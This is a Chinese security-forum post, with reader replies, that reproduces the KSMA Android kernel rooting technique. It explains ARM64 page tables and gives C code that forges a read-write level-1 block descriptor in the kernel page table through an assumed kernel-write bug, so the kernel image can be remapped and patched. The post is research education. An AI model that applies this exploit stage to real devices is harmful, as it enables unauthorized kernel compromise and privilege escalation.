首页
论坛
专栏
课程

[分享] KSMA -- Android 通用 Root 技术

2018-12-16 17:21 7315

[分享] KSMA -- Android 通用 Root 技术

2018-12-16 17:21
7315

2018 马上过去,给大家拜个早年啦。祝大家新的一年里事事顺心,早日成为技术大咖。这一年里,陆续看到一些朋友不再从事 Android 漏洞方面的工作,笔者也已在年初弃坑,不禁感慨 Android 平台的漏洞研究可能只属于那些 geeker 了。

正文

2018 年 blackhat asia 会议上,阿里巴巴的安全研究员 ThomasKing 做了 Android Root 方面的主题演讲,题为《KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features》。笔者对这样的通用 Root 方式是比较感兴趣的,便着手复现了一下。

 

ThomasKing 为这种通用 root 方式起了个不错的名字 KSMA(Kernel Space Mirroring Attack),意为内核空间镜像攻击。简单的说,在内核的一级页表中伪造一个 d_block 类型的 descriptor (内存描述符),将内核镜像所在的 PA (物理地址) 映射到 descriptor 所对应的 VA (虚拟地址) 处。通过修改 d_block 中的一些内存属性,就可以做到对 VA 处映射的内核镜像做读写操作,从而可以任意修改内核代码。

linux 页表介绍

linux 内核采用分页机制管理 VA,并使用 MMU(内存管理单元) 完成 VA 到 PA 的转换。page (内存页) 大小一般为 4KB 16KB 或者 64 KB,为了更有效率的管理 page,内核使用 page table(页表)来组织所有page。页表是分级的,pc 系统一般使用4级页表,现阶段 android 系统采用3级页表,页大小 4KB。以下均以 4KB 3级页表作为讨论基础。

 

下面图表搭配着看比较好理解一些,下图位于 armv8 手册 D4-1744 处,下表位于内核 Documentation/arm64/memory.txt 处。

 

image

AArch64 Linux memory layout with 4KB pages:
Start            End            Size        Use
-----------------------------------------------------------------------
0000000000000000    0000007fffffffff     512GB        user
ffffff8000000000    ffffffbbfffeffff    ~240GB        vmalloc
ffffffbbffff0000    ffffffbbffffffff      64KB        [guard page]
ffffffbc00000000    ffffffbdffffffff       8GB        vmemmap
ffffffbe00000000    ffffffbffbbfffff      ~8GB        [guard, future vmmemap]
ffffffbffa000000    ffffffbffaffffff      16MB        PCI I/O space
ffffffbffb000000    ffffffbffbbfffff      12MB        [guard]
ffffffbffbc00000    ffffffbffbdfffff       2MB        fixed mappings
ffffffbffbe00000    ffffffbffbffffff       2MB        [guard]
ffffffbffc000000    ffffffbfffffffff      64MB        modules
ffffffc000000000    ffffffffffffffff     256GB        kernel logical memory map
Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63    56|55    48|47    40|39    32|31    24|23    16|15     8|7      0|
+--------+--------+--------+--------+--------+--------+--------+--------+
 |                 |         |         |         |         |
 |                 |         |         |         |         v
 |                 |         |         |         |   [11:0]  in-page offset
 |                 |         |         |         +-> [20:12] L3 index
 |                 |         |         +-----------> [29:21] L2 index
 |                 |         +---------------------> [38:30] L1 index
 |                 +-------------------------------> [47:39] L0 index (not used)
 +-------------------------------------------------> [63] TTBR0/1
  • usr 空间地址范围为:0x0000000000000000 ~ 0x0000007fffffffff,共计 512GB
  • kernel 空间地址范围为:0xffffff8000000000 ~ 0xffffffffffffffff,共计 512GB

对于3级页表,Level 0 table 并未采用,通过 Level 1 table 可以获取 Level 2 table 的内存位置,通过 Level 2 table 可以获取 Level 3 table 的内存位置,Level 3 table 又可以获取具体 page 所在的内存位置。

 

比如 0xffffffc000080030 这个 VA 按照上述翻译表的计算方式,可获知

vaddr = 0xffffffc000080030
ttbr1 
poffset = 0x30
L0_index = 0x1ff    L1_index = 0x100    L2_index = 0x0    L3_index = 0x80

ttbr1 表明这是一个内核地址,poffseet 表明内存在页内偏移为 0x30,L0页表没采用,数值没意义,是一级页表(pgd)的第 0x100 项,二级页表(pmd)的第0项,三级页表(pte)的第0x80项。

 

需要说明的是内核与用户态进程使用的不是同一份页表,内核拥有自己单独的页表,内核线程共享,用户态进程分别拥有自己的页表。

 

内核页表在内核初始化时静态创建,如下 init_mm。pgd 指向 swapper_pg_dir,在没有 KASLR 的情况下,该全局变量是一个固定值 0xffffffc00007d000,所以内核一级页表位于固定内存位置

struct mm_struct init_mm = {
    .mm_rb        = RB_ROOT,
    .pgd        = swapper_pg_dir,
    .mm_users    = ATOMIC_INIT(2),
    .mm_count    = ATOMIC_INIT(1),
    .mmap_sem    = __RWSEM_INITIALIZER(init_mm.mmap_sem),
    .page_table_lock =  __SPIN_LOCK_UNLOCKED(init_mm.page_table_lock),
    .mmlist        = LIST_HEAD_INIT(init_mm.mmlist),
    INIT_MM_CONTEXT(init_mm)
};

用户程序页表是在创建用户态程序时动态分配在内核堆中,这一点,可以从 execve 的内核实现中看出,调用关系如下:

`do_execve_common() --> bprm_mm_init() --> mm_alloc() --> mm_init() --> mm_alloc_pgd() --> pgd_alloc()`

一级页表有两种描述符(64bit),table类型和 block 类型,如下图所示,block 类型指向指定的 1GB 内存区域,table 类型描述下一级页表的起始地址。对于伪造页表攻击,我们关心的是一级页表中 block 类型的页表
项。

 

image

 

image

 

关键在于要理解 d_block 描述符各 bit 意义,各 bit 详情参见 arm 手册,D4-1796,需要说明 AP[2:1]output address

  • bit[7:6]: AP[2:1] 属性,设置对应内存的数据访问权限,需要设置为内存可读写,这是我们关心的
  • bit[47:30]: output address 表示 d_block 要映射 PA 的 [47:30] bit 位的值。

伪造 ttbr1 的 d_block 描述符

理解上述页表的过程,伪造 d_block 页表就很简单了,前提是拥有至少一次内核地址写操作。所以,这种利用方法需要搭配某些地址写的漏洞使用。

 

拥有一次写地址权限后,在特定位置上写上 d_block 即可。

 

特定位置也就是伪造的 d_block 描述符应该在内存什么位置。该内存位置是可以计算出来的。内核 VA 中有很多的地址空间是没有被使用的,准确的说,没有被映射过。这些内存空洞就可以用来重新映射内核镜像 PA。不考虑 KASLR 的情形,内核镜像加载的起始地址一般为 0xffffffc000000000,镜像大小 1Gb
(0x40000000 Byte) 左右。0xffffffc200000000 开始的区域通常为内存空洞区域,我们可以将该地址开始的 1Gb 空间,作为再次映射内核 PA 的 VA。当然也是可以采用其他区域的,比如 0xffffffc300000000 开始的 VA,这里以 0xffffffc200000000 作为示例

 

计算 0xffffffc200000000(vaddr) 对应的一级页表 d_block 描述符位置的过程如下:

L1_index = (vaddr & 0x0000007fc0000000) >> 30;
fake_d_block_addr = swapper_pg_dir + L1_index * 0x8;

确定好位置后,按照上述 d_block 各 bit 意义构造好fake_d_block,用地址写漏洞写入指定位置。

 

之后,内核 PA 就会被映射到 vaddr 处,直接使用指针操作 vaddr 内存即可。

 

image

 

image

主要代码

#define PAGE_OFFSEST 0xffffffc000000000

/**
 * 
 * 
Android arm64 Translation table lookup with 4KB pages:
+--------+--------+--------+--------+--------+--------+--------+--------+
|63    56|55    48|47    40|39    32|31    24|23    16|15     8|7      0|
+--------+--------+--------+--------+--------+--------+--------+--------+
 |                 |         |         |         |         |
 |                 |         |         |         |         v
 |                 |         |         |         |   [11:0]  in-page offset
 |                 |         |         |         +-> [20:12] L3 index
 |                 |         |         +-----------> [29:21] L2 index
 |                 |         +---------------------> [38:30] L1 index
 |                 +-------------------------------> [47:39] L0 index (not used)
 +-------------------------------------------------> [63] TTBR0/1
 * 解析 vaddr 获取在页表中各种数值
 */
void parse_vaddr(unsigned long vaddr)
{
    int ttrb0 = 0;
    int poffset = 0;
    int L0_index = 0;
    int L1_index = 0;
    int L2_index = 0;
    int L3_index = 0;

    ttrb0 = (vaddr & 0x8000000000000000) >> 63;
    poffset = (vaddr & 0x0000000000000fff);
    L0_index = (vaddr & 0x0000ff8000000000) >> 39;
    L1_index = (vaddr & 0x0000007fc0000000) >> 30;
    L2_index = (vaddr & 0x000000003fe00000) >> 21;
    L3_index = (vaddr & 0x00000000001ff000) >> 12;

    printf("[%s] vaddr = 0x%lx\n", __func__, vaddr);
    printf("[%s] ttbr%d \n", __func__, ttrb0);
    printf("[%s] poffset = 0x%x\n", __func__, poffset);
    printf("[%s] L0_index = 0x%x    L1_index = 0x%x    L2_index = 0x%x    L3_index = 0x%x\n", 
        __func__, L0_index, L1_index, L2_index, L3_index);
}

/**
 * vaddr 是内核内存的空洞区域,伪造其 L1 pagetable 中 d_block 表项
 * 以下 bits 位的具体信息要参考 armv8 的手册 D4-1791
 * 1 Gb = 0x40000000 Byte
 * 0x40000000
 */
void fake_dblock_in_level1_page_table(unsigned long kimg_phys_addr, unsigned long L1_table_start_addr, unsigned long vaddr)
{
    unsigned long fake_d_block = 0l;
    unsigned long fake_d_block_addr = 0l;

    // 计算伪造 vaddr 的L1 页表项位置
    int L1_index = 0;
    L1_index = (vaddr & 0x0000007fc0000000) >> 30;
    fake_d_block_addr = L1_table_start_addr + L1_index * 0x8;
    printf("L1_inde = 0x%x fake_d_block_addr = 0x%lx\n", L1_index, fake_d_block_addr);

    // d_block 中的内容,主要是修改 AP[2:1], 修改为读写属性
    // bit[1:0]
    fake_d_block = fake_d_block | (0x0000000000000001);     //                  Y
    // bit[11:2] lower block attributes
    fake_d_block = fake_d_block | (0x0000000000000800);     // nG, bit[11]      Y
    fake_d_block = fake_d_block | (0x0000000000000400);     // AF, bit[10]      Y
    fake_d_block = fake_d_block | (0x0000000000000200);     // SH, bits[9:8]
    fake_d_block = fake_d_block | (0x0000000000000040);     // AP[2:1], bits[7:6]
    fake_d_block = fake_d_block | (0x0000000000000020);     // NS, bit[5]       Y
    fake_d_block = fake_d_block | (0x0000000000000010);     // AttrIndx[2:0], bits[4:2]
    // bit[29:12] RES0
    // bit[47:30] output address
    fake_d_block = fake_d_block | (kimg_phys_addr & 0x0000ffffc0000000);
    // bit[51:48] RES0
    // bit[63:52] upper block attributes, [63:55] ignored
    fake_d_block = fake_d_block | (0x0010000000000000);     // Contiguous, bit[52]
    fake_d_block = fake_d_block | (0x0020000000000000);     // PXN, bit[53]
    fake_d_block = fake_d_block | (0x0040000000000000);     // XN, bit[54]

    printf("[fake] vaddr = 0x%lx\n", vaddr);
    printf("[fake] fake_d_block_addr = 0x%lx  --> 0x%016lx\n", fake_d_block_addr, fake_d_block);

    errno = 0;
    write_at_address_pipe((void*)fake_d_block_addr, &fake_d_block, sizeof(unsigned long));
    printf("write errno = %d %s\n", errno , strerror(errno));
}

void test_addr_directly() {
    unsigned long addr = 0xffffffc200000000 + 0x20000000 + 0x80000;
    printf("0x%lx  --> 0x%lx\n", addr, *(unsigned long *) addr);

    *(unsigned long *) addr = 0x100;
    printf("0x%lx  --> 0x%lx\n", addr, *(unsigned long *) addr);
}

int main(int argc, char *argv[])
{
    disable_addr_limit();

    unsigned long kimage_phys_addr = 0x20000000;  // 内核镜像加载的起始物理地址 memstart_addr 值
    unsigned long L1_table_start_addr = 0xffffffc00007d000;
    unsigned long fake_kernel_vaddr = 0xffffffc000000000; // 0xffffffc200000000
    fake_dblock_in_level1_page_table(kimage_phys_addr, L1_table_start_addr, fake_kernel_vaddr);

    test_addr_directly();
    return 0;
}

参考



2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!

最新回复 (28)
少仲 2018-12-16 17:25
2
1
支持热爱学习的GeneBlue同学~
StarsOne 2018-12-16 22:51
3
1
小白一脸懵逼,膜拜大佬
能考虑出个工具破解那些杂牌机就好了
家里有些杂牌机,闲置的不知道搞什么,想破解root,试了各种一键root的工具都不成功。
聖blue 2018-12-17 03:16
4
1
Zkeleven 2018-12-17 10:29
5
1
楼主不从事Android漏洞挖掘现在在做什么方面的工作呢
ycmint 5 2018-12-17 11:09
6
2
跟踪学习
Umiade 2018-12-17 18:20
7
2
在楼主博客学到了很多,同样好奇楼主不搞漏洞以后去研究什么方向来着
CCkicker 2018-12-17 18:27
8
1
感谢分享!
kongfubull 2018-12-18 09:56
9
0
MARK
zeif 2 2018-12-18 10:32
10
0
????,关键不是一次在内核里写的权限么,所以这片文章是在担心拿到了写Kernel内存的权限之后不知道怎么进一步提权么?
GeneBlue 2 2018-12-18 12:53
11
0
zeif ????,关键不是一次在内核里写的权限么,所以这片文章是在担心拿到了写Kernel内存的权限之后不知道怎么进一步提权么?
只是介绍这种方式可以在 root 时避免掉硬编码
GeneBlue 2 2018-12-18 12:55
12
0
Umiade 在楼主博客学到了很多,同样好奇楼主不搞漏洞以后去研究什么方向来着
目前在做代码保护,android 上的 vmp
心许雪 3 2018-12-18 20:28
13
0
小双老师太强啦!!收藏学习!
Vn小帆 2018-12-19 09:34
14
0
先收藏吧     看不懂
XFF 2 2018-12-19 13:39
15
0
给小双老师点赞
ThomasKing 6 2018-12-24 16:02
16
0
很不错,之前有很多人问过我,都没有实践理解到这个地步。
hhhaiai 2018-12-24 19:42
17
0
谢谢分享。。。
Greebees 2018-12-24 20:21
18
0
想知道博主的博客地址
wule 2 2018-12-25 22:17
19
0
单看改页表属性,应该并不是新的技术了,ksma的创新点到底在哪里?
aqs 5 2018-12-26 10:11
20
0
android 漏洞挖掘的是什么情况呀?刚准备入坑
GeneBlue 2 2018-12-26 10:36
21
0
wule 单看改页表属性,应该并不是新的技术了,ksma的创新点到底在哪里?[em_1]
可以看看  利用ARM MMU硬件特性开启安卓8终端的上帝模式 https://bbs.pediy.com/thread-228453.htm 这篇文章下大家的讨论
朱年吉祥 2018-12-26 10:41
22
0
good
GeneBlue 2 2018-12-26 10:48
23
0
aqs android 漏洞挖掘的是什么情况呀?刚准备入坑[em_2]
bat 专做漏洞研究的组应该还是可以去的
koozxcv 2018-12-26 15:01
24
0
膜拜大佬
miyuecao 2018-12-27 17:35
25
0
看起来很牛叉的样子,明白大概思路了,膜拜一下
小心情 2019-1-3 11:33
26
0
厉害了
windxiang 2019-1-8 15:16
27
0
完全看不懂了
wx_chaos_999 2019-11-8 14:55
28
0
PHYS_OFFSET的值改为了动态计算,该怎么确定这个值呢

/*
 * Calculate the start of physical memory.
 */
__calc_phys_offset:
adr x0, 1f
ldp x1, x2, [x0]
sub x28, x0, x1 // x28 = PHYS_OFFSET - PAGE_OFFSET
add x24, x2, x28 // x24 = PHYS_OFFSET
ret
ENDPROC(__calc_phys_offset)

.align 3
1: .quad .
.quad PAGE_OFFSET
chilun 2020-3-11 11:33
29
0
记录一下
游客
登录 | 注册 方可回帖
返回